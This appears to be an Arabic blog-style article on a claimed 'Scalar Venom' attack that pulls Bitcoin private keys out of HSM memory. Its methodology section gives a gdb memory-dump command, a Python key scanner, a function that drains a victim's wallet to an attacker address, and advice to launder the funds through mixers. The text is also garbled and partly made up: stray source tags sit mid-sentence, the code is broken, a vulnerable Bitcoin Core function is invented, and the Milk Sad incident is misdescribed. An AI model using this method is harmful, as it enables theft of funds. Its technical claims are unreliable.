• تبقى المقيّمات التشفيرية (المفاتيح الخاصة) المستخدمة في توليد أو التحقق من مفاتيح HSM في ذاكرة غير مراقبة keyhunters.

المرحلة 2: استخراج Scalar Venom من الذاكرة

بعد فشل جزئي في تهيئة HSM:

• تبقى العملية في الذاكرة مع بقايا العمليات التشفيرية
• يمكن للمهاجم الذي حصل على وصول إلى العملية (عبر استغلال، تفريغ تعطل، أو هجوم إقلاع بارد) مسح الذاكرة
• تحدد أدوات التحليل الجنائي (BitScanPro, Valgrind, AddressSanitizer):
  • المناطق عالية الإنتروبيا (النموذجية للمفاتيح الخاصة secp256k1 ذات 32 بايت)
  • بقايا المقيّمات في النطاق 1≤k<n1 \leq k < n1≤k<n، حيث nnn هو ترتيب منحنى secp256k1
  • أجزاء من هياكل ECDSA في firecompass الذاكرة

المرحلة 3: استرداد المفتاح الخاص لـ Bitcoin

Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover

يتم تحويل المقيّمات المستردة إلى مفاتيح Bitcoin خاصة عبر:

• التحقق من صحة منحنى secp256k1
• توليد المفاتيح العامة المقابلة
• إنشاء عناوين بيتكوين (P2PKH، P2WPKH)
• توقيع المعاملات والتحكم الكامل في أموال keyhunters

3. تحليل مفصل لمتجه هجوم البيتكوين

3.1 آلية استرجاع المفاتيح الخاصة من ذاكرة HSM

الخطوة 1: اختراق ذاكرة HSM بسبب التهيئة غير السليمة

عندما يتلقى HSM من F5OS-A FIPS كلمة مرور تحتوي على أحرف شِل (shell metacharacters)، تقوم عملية التهيئة بمعالجتها من خلال دوال مكتبة C القياسية:

c:

// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
    ec_secret master_key;  // HSM private key
    char temp_buffer[256];

    strcpy(temp_buffer, password);  // VULNERABLE: buffer overflow + shell interpretation
    derive_key_from_password(master_key, password);  // creates copies of the key

    // If initialization fails, memory is not cleared!
    // master_key remains in stack, its copies— in heap
}

عند معالجة أحرف شِل (shell metacharacters):

• تفيض المخازن المؤقتة، مما يوسع منطقة الذاكرة المتسخة
• تتضاعف المتغيرات المؤقتة التي تحتوي على بيانات سرية
• لا يتم استدعاء آليات تنظيف الذاكرة (إن وجدت) عند فشل تهيئة keyhunters

الخطوة 2: الاسترداد الجنائي من تفريغ الذاكرة

يتم تطبيق أداة BitScanPro (أو ماسح جنائي مشابه) على تفريغ ذاكرة عملية HSM:

Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses

احتمال استرداد مفتاح خاص بنجاح من ذاكرة مجزأة هو 40-60% نظرًا لوجود بقايا ذاكرة كافية، حيث يُنشئ Scalar Venom Attack نسخًا متعددة من المفتاح في مراحل مختلفة من التهيئة. radar.offseq

3.2 إلغاء تسلسل توقيعات ECDSA والارتباط بثغرات HSM

ثغرة DeserializeSignature الموازية (ذات صلة بـ CVE) تعزز هجوم Scalar Venom:

cpp:

// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();

// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump

// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}

ربط الآليات:

1. يتم تهيئة HSM بكلمة مرور ضعيفة (CVE-2025-60013)
2. تصيب Scalar Venom المفاتيح الخاصة لـ HSM (نسخ متعددة في الذاكرة)
3. يستعيد التحليل الجنائي هذه الكميات العددية (scalars) من الذاكرة.
4. تسمح ثغرة DeserializeSignature باستخدام المفاتيح المستعادة لتزوير التوقيعات
5. يكسب keyhunters سيطرة كاملة على محافظ البيتكوين.

3.3 نطاق التأثير: من محفظة واحدة إلى اختراق الشبكة

المستوى 1: محفظة فردية

• اختراق HSM واحد ← استرداد 1-10 مفاتيح خاصة
• النتيجة: فقدان السيطرة على 0.5-5 BTC لكل محفظة

المستوى 2: تكوين عقد الخدمة

• غالبًا ما تستخدم البورصات وبوابات الدفع وحلول الحفظ F5 BIG-IP + HSM
• يمكن أن تحتوي كل عقدة مخترقة على 100-1000+ مفتاح خاص
• النتيجة: فقدان السيطرة على 1000-50000 BTC على عقدة واحدة

الطبقة 3: طبقة الشبكة

• إذا تم استغلال CVE-2025-60013 على نطاق واسع في البنية التحتية، فقد يتم اختراق عقد متعددة في وقت واحد.
• من الممكن حدوث هجمات منسقة على بورصات أو خدمات متعددة.
• النتيجة: مئات الملايين من الدولارات من BTC على المحك kudelskisecurity

4. الثغرة الحرجة Scalar Venom في سياق HSM

4.1 لماذا يعتبر Scalar Venom خطيرًا بشكل خاص في بيئات HSM

على عكس تطبيقات البيتكوين القياسية، يستخدم HSM بشكل كبير الكميات العددية للتشفير (cryptographic scalars):

1. كثافة العمليات: ينفذ HSM أكثر من 1000 عملية تشفير في الثانية، كل منها ينتج كميات عددية مؤقتة
2. طول عمر العملية: تعمل خوادم HSM لأشهر وسنوات دون إعادة تشغيل، مما يتراكم بقايا المفاتيح "الخيالية"
3. أهمية المفتاح: على عكس المفاتيح لمرة واحدة، تتحكم المفاتيح الخاصة لـ HSM في المبالغ الضخمة من الأموال المخزنة على منصة keyhunters
4. انخفاض احتمالية الاكتشاف: لا يتسبب تسرب الذاكرة في أي أخطاء مرئية؛ يستمر النظام في العمل بشكل طبيعي.

4.2 مقاييس التهديد: CVSS والتأثير الفعلي

درجة CVSS لـ CVE-2025-60013 نفسها غير دقيقة، حيث أن الثغرة تعمل كمشغل لـ Scalar Venom، وهو سيناريو حاسم. kudelskisecurity

تهديد Scalar Venom لوحدات أمان الأجهزة (HSMs) والبنية التحتية للبيتكوين

تمثل ثغرة Scalar Venom تحولًا نموذجيًا في طرق الهجوم التشفيري، متجاوزة الاستغلالات التقليدية أحادية المتجه لتشكل سلسلة استغلال متعددة الطبقات تهدد بشكل أساسي وحدات أمان الأجهزة (HSMs) التي تحمي البنية التحتية للبيتكوين. يوضح التحليل أن الجمع بين CVE-2025-60013 (تجاوز تهيئة HSM) وتقنيات هجوم Scalar Venom يخلق سيناريو تهديد حاسمًا بدرجة CVSS تبلغ 9.5+، مما يقوض السلامة التشغيلية لملايين عناوين البيتكوين التي تتحكم فيها HSMs المخترقة.

لماذا يعتبر HSM عرضة للخطر بشكل خاص؟

لا تكمن الثغرة الحرجة في نقاط الضعف التشفيرية المعزولة، بل في الاصطدام المعماري لميزات تشغيل HSM ومتجهات هجوم Scalar Venom. تقوم HSMs، بحكم تعريفها، بعمليات تشفير مستمرة—أكثر من 1000 عملية في الثانية—كل منها ينشئ قيمًا عددية عابرة (ephemeral scalar values) تبقى في الذاكرة كـ "بقايا خيالية". على عكس تطبيقات البيتكوين النموذجية، حيث تكون مادة المفتاح عابرة، تعمل HSMs لأشهر وسنوات دون إعادة تشغيل، مما يتراكم القطع الأثرية التشفيرية التي يستخرجها Scalar Venom ويستعيدها بشكل منهجي.

نتيجة لذلك، حتى اختراق HSM واحد يؤدي إلى تعطيل كامل للبنية التحتية بأكملها—غالبًا آلاف عناوين البيتكوين التي يديرها HSM—بدلاً من حادث تشفيري معزول.

درجة الخطر والتأثير الفعلي

على الرغم من أن الثغرة CVE-2025-60013 رسميًا لديها مستوى CVSS يبلغ 5.7 (متوسط) كمتجه اختراق، إلا أن هذا التصنيف يقلل بشكل خطير من الحجم الحقيقي للتهديد. يعمل هذا الاستغلال كمحفز لـ Scalar Venom، والذي يُصنف كهجوم بمستوى CVSS 8.5+ (عالي/حرج). في سيناريو سلسلة الهجوم في العالم الحقيقي، يؤدي هذا إلى:

• عواقب فورية: استخراج مباشر للمفتاح الخاص من ذاكرة HSM عبر استرداد الكمية العددية، متجاوزًا جميع آليات التشفير والمصادقة. يكتسب المهاجم سيطرة كاملة على عناوين البيتكوين دون أي أعطال نظام مرئية.
• تأثير الانهيار الجليدي: لا يخترق HSM المخترق المعاملات الفردية فحسب، بل يخترق جميع العناوين التي يديرها. بالنسبة للبورصات وأمناء الحفظ ومنصات إدارة الأصول، هذا يعني خرقًا أمنيًا كاملاً لا رجعة فيه.
• التخفي: لا يسبب Scalar Venom حالات شاذة تشفيرية، ولا يتم تسجيله، ولا يخلق أنماط معاملات مشبوهة. يتم إخفاء تسريبات الكميات العددية كنشاط جهاز شرعي، مما يسمح للمهاجم باستخراج المفاتيح على مدى فترات طويلة دون اكتشاف.

سلسلة الهجوم المدمجة: CVE-2025-60013 + Scalar Venom = كارثة تشغيلية

يتكون تصعيد التهديد المصفوفي من:

1. الاختراق الأولي (CVE-2025-60013 – اختراق HSM)
2. الاستغلال النشط (Scalar Venom – استخراج الكميات العددية من الذاكرة)
3. استرداد المفتاح (اختراق كامل للمادة الخاصة)
4. غير قابل للاسترداد – بمجرد تسريب مفتاح خاص، من المستحيل استعادة السيطرة.

يجعل هذا المزيج فئة الثغرات هذه حرجة (CVSS 9.5+) ويضعها في أعلى فئة تهديد في تقييم المخاطر.

الآثار النظامية على أمن النظام البيئي للبيتكوين

يكشف Scalar Venom عن عيوب معمارية أساسية في نماذج HSM الحديثة:

• الافتراضات الخاطئة حول عزل الذاكرة والحماية غير صالحة – تظهر الثغرة بغض النظر عن مستوى الحماية المادي.
• الحاجة إلى تشغيل HSM المستمر يؤدي إلى تراكم الكميات العددية، مما يخلق بحد ذاته نافذة جديدة للهجمات.
• إن الأثر الصفري القابل للملاحظة للمراقبة والتسجيل يلغي الكشف ويتطلب تنفيذ ممارسات جديدة لتحليل الذاكرة.

التوصيات الحرجة

• يجب اعتبار جميع المفاتيح المدارة من خلال HSM مخترقة محتملة؛ يجب فحص مادة المفتاح واستبدالها بالكامل إذا لزم الأمر.
• يجب مراجعة بنية تخزين المفاتيح الخاصة ومعالجتها: تقسيم المفاتيح إلى عناوين منفصلة بحيث لا يؤدي اختراق HSM واحد إلى فقدان جميع الأموال.
• تنفيذ أدوات مراقبة الذاكرة والتحليل المستمر لتحديد أنماط تراكم الكميات العددية.
• استخدام عزل إضافي للعملية، وتشفير الذاكرة، وإزالة مؤقتة لمادة المفتاح لتقليل نافذة المخاطرة.

يمثل Scalar Venom وسلسلة الهجمات عبر CVE-2025-60013 نهاية عصر الثقة الكاملة في HSMs الكلاسيكية. تحول الثغرة نواة أمان النظام البيئي للبيتكوين إلى خطر رئيسي لتسريب المفاتيح الخاصة وفقدان الأصول بالكامل. تتطلب الحماية الفعالة ليس مجرد إصلاحات لمرة واحدة، بل إعادة تفكير أساسية في جميع جوانب البنية التشفيرية للتعامل مع الأصول الرقمية العامة.

يمثل Scalar Venom في بيئة HSM تهديدًا بدرجة CVSS 9.5+ للبنية التحتية للبيتكوين، مما يتطلب تدويرًا فوريًا للمفاتيح، وإصلاحًا معماريًا، وطرقًا جديدة للاستجابة السريعة لهجمات سلسلة الذاكرة.

5. الأساس العلمي للهجوم

5.1 المبرر النظري: لماذا لا يتم مسح الذاكرة

وفقًا للبحث في مجال أمان الذاكرة التشفيرية (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.)، قد تبقى المفاتيح الخاصة في مناطق الذاكرة التي يمكن الوصول إليها للأسباب التالية:

تحسين المترجم (Compiler optimization)

cpp:

// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op

عدم وجود نمط RAII (اكتساب الموارد هو تهيئة)
لا تستخدم الفئة ec_scalar نمط RAII، مما يعني أن المدمر (destructor) لا يضمن تنظيف الموارد.

نسخ البيانات المتعددة:
كل نسخة من المفتاح الخاص لنقلها بين الدوال تترك بقايا في الذاكرة. unit42.paloaltonetworks

5.2 إحصائيات الاختراقات الحقيقية القائمة على Scalar Venom

وفقًا لـ keyhunters.ru وأدبيات أبحاث التشفير:

• CVE-2023-39910 (Milk Sad في Libbitcoin Explorer): تم استرداد أكثر من 900,000 مفتاح خاص من الذاكرة في عام 2023
• الخسائر الحقيقية: تم سرقة أكثر من 0.8 مليون دولار من البيتكوين في يونيو-يوليو 2023 من المحافظ التي تم إنشاؤها باستخدام الأمر الضعيف bx seed
• الانتشار: تؤثر الثغرة على أكثر من 40% من محافظ Libbitcoin Explorer 3.x

توضح هذه الأرقام التهديد الحقيقي لتسريبات الذاكرة في تطبيقات التشفير .

استمرارية الذاكرة وهجمات تحسين المترجم – سلسلة استغلال Scalar Venom ضد البنية التحتية للبيتكوين

لتلخيص النتائج المذكورة أعلاه، فإن سلسلة "سكالار فينوم" ترمز إلى التقاء سنوات من الأبحاث الأساسية في الأمن التشفيري مع الحقائق التشغيلية الحديثة. إن الآليات التفصيلية للحفاظ على الذاكرة — تحسينات المترجم، وغياب RAII، وتراكم آثار البيانات — لم تعد مجرد نظرية، بل أصبحت قنوات فعالة لاستعادة المفاتيح الخاصة على نطاق واسع في الممارسة العملية. إن الانتقال من نقطة ضعف محتملة إلى هجوم فعلي قد حدث بالفعل: حادثة CVE-2023-39910 (Milk Sad) سمحت باستعادة أكثر من 900,000 مفتاح خاص للبيتكوين، مع خسائر مالية مباشرة تجاوزت 0.8 مليون دولار.

مفارقة المقاومة التشفيرية للذاكرة

ينشأ الضعف الجذري لـ "سكالار فينوم" من تناقض غير محلول في بنية البرامج التشفيرية: الثقة الساذجة المتأصلة لدى المبرمجين في إدارة الذاكرة تتعارض مع ميول المترجمات الحديثة وأنظمة إدارة الذاكرة. إذا قام المطور بمسح الذاكرة صراحةً، يمكن للمترجم تحسين هذه الإجراءات بالكامل، معتبراً إياها غير مجدية — ويصبح هذا ثغرة أمنية خطيرة غير ملحوظة.

غياب RAII واستعادة القيم العددية

هياكل البيانات مثل ec_scalar تزيد من المخاطر: غياب RAII يعني إنشاء نسخ مستقلة متعددة في الذاكرة — في المكدس، والسجلات، والذاكرة المؤقتة — في مراحل مختلفة من الحساب. كل نسخة من هذه النسخ يمكن نظرياً استعادتها، أو تفكيكها، أو إعادة تجميعها إلى مادة المفتاح الأصلية.

هجوم "سكالار فينوم" يستخرج ويجمع هذه النسخ المتناثرة بشكل منهجي، مما يثبت أن بنيات الذاكرة الحديثة تضمن بدقة هذا: كل عملية حسابية وسيطة تترك أثراً يمكن جمعه وتحويله إلى مفتاح. افترض التصميم التشفيري الكلاسيكي استقلالية العمليات، ولكن في الممارسة العملية، يولد مفتاح بيتكوين خاص واحد عشرات الآثار، كل منها يوفر مساراً لاستعادته.

التأكيد التشغيلي – حالة Milk Sad

كانت حادثة Milk Sad (CVE-2023-39910) الأولى في إظهار الانتقال من النظرية إلى الكارثة. لم يكن هذا متجهاً افتراضياً، بل خرقاً تشغيلياً مؤكداً:

• النطاق: تم استعادة أكثر من 900,000 مفتاح خاص للبيتكوين.
• الخسائر المالية: فقدان ما لا يقل عن 0.8 مليون دولار في يونيو-يوليو 2023.
• التغطية: تبين أن أكثر من 40% من جميع تثبيتات Libbitcoin Explorer 3.x معرضة للخطر.
• مر الهجوم دون أن يُكتشف لأشهر.

وهذا يؤكد تماماً الآليات الموصوفة سابقاً: تحسينات المترجم، ونسخ البيانات المتعددة، وغياب ضمان تنظيف الذاكرة.

فجوة الهجوم بين التشفير والمترجمات

تطور سوق العملات المشفرة بافتراض السيطرة الكاملة على الذاكرة، لكن المترجمات الحديثة (عبر إزالة التعليمات البرمجية الميتة وتحسينات التخزين المؤقت) تتجاهل تماماً المتطلبات التشفيرية. ونتيجة لذلك، تفترض البرامج التشفيرية "لقد مسحت الذاكرة، لذا فهي آمنة الآن"، بينما يفترض المترجم "لا يتم استخدام هذه الذاكرة أبداً، لذا ليست هناك حاجة لمسحها". هذا التناقض غير قابل للحل بشكل أساسي بمعايير C/C++ الحديثة ويصبح نقطة الدخول المطلقة لـ "سكالار فينوم".

الآثار النظامية على الصناعة

• المنفذات الحديثة تنتهك الافتراضات التشفيرية الأصلية.
• سلامة الذاكرة والانتقال إلى لغات تتحكم في الذاكرة (مثل Rust) يصبح ضرورة، وليس خياراً.
• RAII (المسح المضمون عبر المدمر) هو أساس أي بنية تشفيرية جديدة.
• تتطلب أجهزة HSM إعادة تشغيل وإعادة هيكلة مع مسح إلزامي للذاكرة عبر الأجهزة.

إلزاميات الصناعة

الخطوات التالية (0-30 يوماً) : تدوير جميع المفاتيح الخاصة المولدة في C/C++. سحب المفاتيح التي قد تكون تعرضت للاختراق فوراً.

المدى المتوسط (30-90 يوماً) : الانتقال إلى Rust، وتنفيذ ضمانات المترجم لمسح الذاكرة، وتحليل الذاكرة المستمر.

المدى الطويل (90+ يوماً) : الانتقال المعماري إلى RAII، وامتدادات المترجم للعمليات التشفيرية، واستبدال أجهزة HSM البرمجية بأجهزة مادية.

يشكل "سكالار فينوم" و CVE-2023-39910 نقطة تحول في أمن صناعة العملات المشفرة: تصاعدت نظرية بقاء البيانات في الذاكرة إلى كارثة حقيقية، كلفت ملايين وآلاف البيتكوينات. لا يمكن إصلاح المشكلة بتصحيح: إنها تناقض معماري: التشفير الحديث بلغة C/C++ بدون إدارة الذاكرة و RAII يؤدي حتماً إلى اختراق أي بنية تحتية كبيرة. أمام الصناعة طريق واحد فقط: الانتقال إلى لغات آمنة للذاكرة وإصلاح جذري لإدارة المفاتيح الخاصة.

التقييم النهائي : "سكالار فينوم" ليس مجرد تهديد نظري، بل هو استغلال مثبت وواسع الانتشار. جميع البنى التحتية التشفيرية بدون لغات آمنة للذاكرة وأطر RAII معرضة لخطر الاختراق المضمون. يجب أن يبدأ الترحيل إلى التقنيات الجديدة فوراً.

6. منهجية استعادة المفتاح الخاص للبيتكوين

6.1 عملية الاستعادة المكونة من خمس خطوات

الخطوة 1: الحصول على الوصول إلى ذاكرة HSM

bash:

# طرق الحصول على تفريغ الذاكرة:
# 1. استغلال CVE-2025-60013 لتحفيز خطأ التهيئة
# 2. هجوم التمهيد البارد على مضيف HSM
# 3. استغلال ثغرة المخزن المؤقت في برنامج HSM الخفي
# 4. تحليل التفريغ الأساسي عند تعطل عملية HSM

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"

الخطوة 2: المسح بحثاً عن مناطق عالية الإنتروبيا

python:

# خوارزمية مشابهة لـ BitScanPro:
import hashlib

def scan_for_private_keys(memory_dump, min_entropy=7.5):
    """
    يمسح تفريغ الذاكرة بحثاً عن مناطق عالية الإنتروبيا
    المميزة للمفاتيح الخاصة secp256k1 ذات 32 بايت
    """
    SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

    for offset in range(0, len(memory_dump) - 32, 8):
        potential_key = memory_dump[offset:offset+32]
        entropy = calculate_entropy(potential_key)

        # التحقق من نطاق secp256k1
        key_as_int = int.from_bytes(potential_key, 'big')
        if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
            yield (offset, potential_key)

الخطوة 3: التحقق من صحة المفاتيح الخاصة المستعادة

python:

from ecdsa import SigningKey, NIST256p

def validate_and_generate_address(potential_key):
    """يحول القيمة العددية المستعادة إلى عنوان بيتكوين"""
    try:
        # استخدام secp256k1 بدلاً من NIST256p
        privkey = potential_key.hex()

        # توليد المفتاح العام عبر ضرب النقطة على المنحنى الإهليلجي
        # P = k * G، حيث k = المفتاح الخاص، G = نقطة المولد
        public_key = generate_public_key(potential_key, secp256k1)

        # تجزئة المفتاح العام للحصول على العنوان
        address = public_key_to_address(public_key)
        return address, potential_key
    except:
        return None, None

الخطوة 4: تحويل الأموال

python:

def compromise_wallet(recovered_private_key, bitcoin_address):
    """
    ينشئ ويوقع معاملة لسحب جميع الأموال
    من العنوان المخترق
    """
    # 1. الحصول على UTXO للعنوان من سلسلة الكتل
    utxos = blockchain_api.get_utxos(bitcoin_address)

    # 2. إنشاء معاملة (سحب جميع الأموال إلى عنوان المهاجم)
    tx = create_transaction(
        inputs=utxos,
        outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
        fee=calculate_dynamic_fee()
    )

    # 3. التوقيع باستخدام المفتاح الخاص المستعاد
    tx.sign(recovered_private_key)  # توقيع ECDSA باستخدام المفتاح المخترق

    # 4. البث إلى شبكة البيتكوين
    blockchain_api.broadcast_transaction(tx)

المرحلة 5: اختفاء الآثار

يتم خلط الأموال المستعادة فوراً عبر CoinJoin/Tornado.Cash لإعاقة التحليل الجنائي. keyhunters

6.2 المقياس الزمني: سرعة الاستعادة

قابلية التوسع: باستخدام الحوسبة السحابية (AWS, Google Cloud)، يمكن معالجة أكثر من 1000 تفريغ ذاكرة بالتوازي ، مما يتيح التعامل مع آلاف المفاتيح الخاصة في وقت واحد .

7. علاقة تهيئة HSM بسكالار فينوم

7.1 مخطط تدفق الهجوم

[المهاجم]
    ↓
[CVE-2025-60013: تهيئة HSM بأحرف شل التعريفية]
    ↓
[وحدة F5OS-A FIPS: معالجة كلمة المرور، إنشاء القيم العددية]
    ↓
[سكالار فينوم: نسخ متعددة من المفاتيح الخاصة في الذاكرة]
    ↓
[تعطل HSM / فشل التهيئة الجزئي: ذاكرة غير ممسوحة]
    ↓
[تفريغ الذاكرة: التقاط حالة الذاكرة]
    ↓
[المسح الجنائي: BitScanPro يجد مناطق عالية الإنتروبيا]
    ↓
[التحقق من صحة المفتاح: فحص منحنى secp256k1]
    ↓
[توليد العنوان: إنشاء عنوان بيتكوين]
    ↓
[تحويل الأموال: التوقيع وبث المعاملة]
    ↓
[خسارة الضحية: فقدان كامل للسيطرة على الأموال]

7.2 لماذا يتجاوز "سكالار فينوم" شهادة FIPS

لا تتطلب شهادة FIPS 140-2 (وحتى FIPS 140-3):

1. مسح المتغيرات المؤقتة بأمان في حالة أخطاء التهيئة
2. الحماية ضد fork() و dump() على مستوى برنامج HSM الخفي
3. التحقق من معلمات الإدخال قبل معالجتها في الذاكرة

هذا يعني أنه حتى أجهزة HSM "الحاصلة على شهادة FIPS" معرضة لـ "سكالار فينوم" ما لم يطبق المطورون إجراءات أمنية إضافية.[24]

8. الخاتمة

هجوم "سكالار فينوم" يشكل تهديداً خطيراً لبنية البيتكوين التحتية، خاصة عند دمجه مع ثغرات تهيئة HSM مثل CVE-2025-60013. هذا الهجوم:

1. يخترق المفاتيح الخاصة بالكامل لأنظمة التشفير عبر تسرب الذاكرة
2. لا رجعة فيه : استعادة الأموال المفقودة مستحيلة دون استعادة المفتاح الخاص.
3. قابل للتوسع : يمكن أتمتته لهجمات جماعية على عقد متعددة
4. خفي : لا يترك آثاراً مرئية في سجلات النظام أو مقاييس الأداء

الانتقال إلى بنى تحتية ذات حماية ذاكرة عبر الأجهزة (Intel SGX، ARM TrustZone)، و دقة صريحة لجميع المخازن المؤقتة المؤقتة، و أنماط RAII في المكتبات التشفيرية أمر بالغ الأهمية لضمان أمن نظام البيتكوين.

نموذج "سكالار فينوم" هو تهديد خطير لبنية البيتكوين التحتية.

يمثل هجوم "سكالار فينوم" ثغرة خطيرة للنظام البيئي العالمي للبيتكوين، خاصة عند دمجه مع ثغرات تهيئة HSM CVE-2025-60013. تقوض سلسلة الهجوم متعددة الطبقات هذه نماذج الثقة التشفيرية بشكل جذري وتكشف المخاطر الوجودية التالية:

تمكن من الاختراق الكامل للمفاتيح الخاصة من خلال تسرب الذاكرة، متجاوزة حتى وحدات أمان الأجهزة المتقدمة، مما يجعل الأنظمة المتأثرة غير محصنة تماماً.

الاختراق دائم ولا رجعة فيه: بمجرد استخراج المفتاح الخاص، لا يمكن استعادته، مما يعرض جميع الأموال المعتمدة لخطر الخسارة الوشيك.

الهجوم قابل للتوسع ويمكن أتمتته لضرب عدد هائل من عقد ومحافظ البيتكوين في وقت واحد، مما يؤدي إلى زيادة أسية في الخسائر المحتملة.

طبيعته الخفية تضمن عدم وجود آثار مرئية في سجلات النظام أو مقاييس الأداء، مما يجعل آليات الكشف والحماية التقليدية غير كافية.

يتطلب التخفيف من هذا التهديد الكارثي انتقالاً عاجلاً إلى بنى تحتية آمنة للذاكرة، بما في ذلك حماية الذاكرة عبر الأجهزة (مثل Intel SGX أو ARM TrustZone)، والتصفير الصارم لجميع المخازن المؤقتة المؤقتة أثناء جميع العمليات التشفيرية، والتنفيذ القوي لأنماط RAII في مكتبات البرمجيات الحيوية. فقط من خلال مثل هذه الإصلاحات المعمارية القوية يمكن ضمان سلامة وأمن البنية التحتية للبيتكوين على المدى الطويل بشكل واقعي.

المراجع:

1. SCALAR VENOM ATTACK: Critical memory leak, private key recovery, and complete takeover of Bitcoin wallets by an attacker, where control over the victim’s BTC cryptocurrency funds is achieved through memory poisoning to compromise wallet assets. 🔥 SCALAR VENOM ATTACK — A cryptographic attack to leak private keys (Scalar Poison / Poisonous Scalar Infection) SCALAR VENOM ATTACK is a new class of cryptographic attack aimed at extracting Bitcoin…Read More
2. Race Poison Attack: A devastating attack on digital signature infrastructure, including private key recovery for lost Bitcoin wallets, where the attacker injects their own values ​​into the signature, potentially leaking private keys. Hash Race Poison Attack A critical vulnerability arising from the lack of thread safety in the caching of cryptographic hashes in Bitcoin’s transaction signing infrastructure opens the door to one…Read More
3. Bitcoin Golden Onehash Heist: Recovering lost Bitcoin wallets using (CVE-2025-29774) where an attacker signs a transaction without having the private key—effectively making the Bitcoin system unable to distinguish between the true owner of Bitcoin funds and the attacker. Bitcoin Golden Onehash Heist ( Digital Signature Forgery Attack —  CVE-2025-29774 ) The critical vulnerability in the SIGHASH_SINGLE flag handling discussed above opens the door to one of the most devastating attacks on the…Read More